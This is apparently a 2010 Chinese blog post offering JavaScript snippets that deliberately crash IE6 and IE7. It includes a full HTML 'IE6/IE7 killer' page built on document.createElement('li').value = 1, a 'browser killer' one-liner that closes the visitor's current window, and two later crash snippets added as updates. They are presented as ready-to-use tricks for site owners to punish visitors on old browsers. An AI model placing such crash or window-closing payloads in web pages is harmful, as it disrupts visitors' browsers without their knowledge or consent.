記得老趙好像很討厭人家用IE6來訪問他的部落格的,用一種比較溫和的方法跳到一個提示頁。最近發現一個強bug,能一下子整死IE6與IE7,連喘息的餘地也不給。我想是否應該公開出來,為中國WEB標準做一份貢獻。此bug與瀏覽器的核心有關,不用特徵偵探與UA嗅探什麼的,好使好用!
document.createElement("li").value = 1;
<br /><!doctype html><br /><html><br /> <head><br /> <meta charset="utf-8"/><br /> <meta content="IE=8" http-equiv="X-UA-Compatible"/><br /> <meta name="keywords" content="IE6與IE7封殺器 by 司徒正美" /><br /> <meta name="description" content="IE6與IE7封殺器 by 司徒正美" /><br /> <script type="text/javascript"></p><p> //使用setAttribute也行,值好像是固定,為1(讀作"日",日得好!)<br /> document.createElement("li").value = 1;</p><p> </script><br /> <title>IE6與IE7封殺器 by 司徒正美</title><br /> </head><br /> <body></p><p> <h1>殺!殺!殺!</h1><br /> <h2>不行請重新整理頁面(這是運行框的問題)</h2><br /> </body></p><p></html><br />
運行代碼
當然整死IE6的代碼還有許多,知情者請不吝賜教。最後附贈另一個邪惡東東,能整死大多數瀏覽器(當前頁),堪稱為瀏覽器殺手。
window.opener=null;window.open('','_self');window.close();
執行瀏覽器殺手
//2010.6.28更新 kill IE6function crash() { for (x in document.open);}crash();
//2010.6.28更新 kill IE6function equal(x, y) { return x == y;}function test() { var v = 2147483647; // 2^31-1 v++; equal(v, 2147483648);}test();
相關連結
為IE找個新死法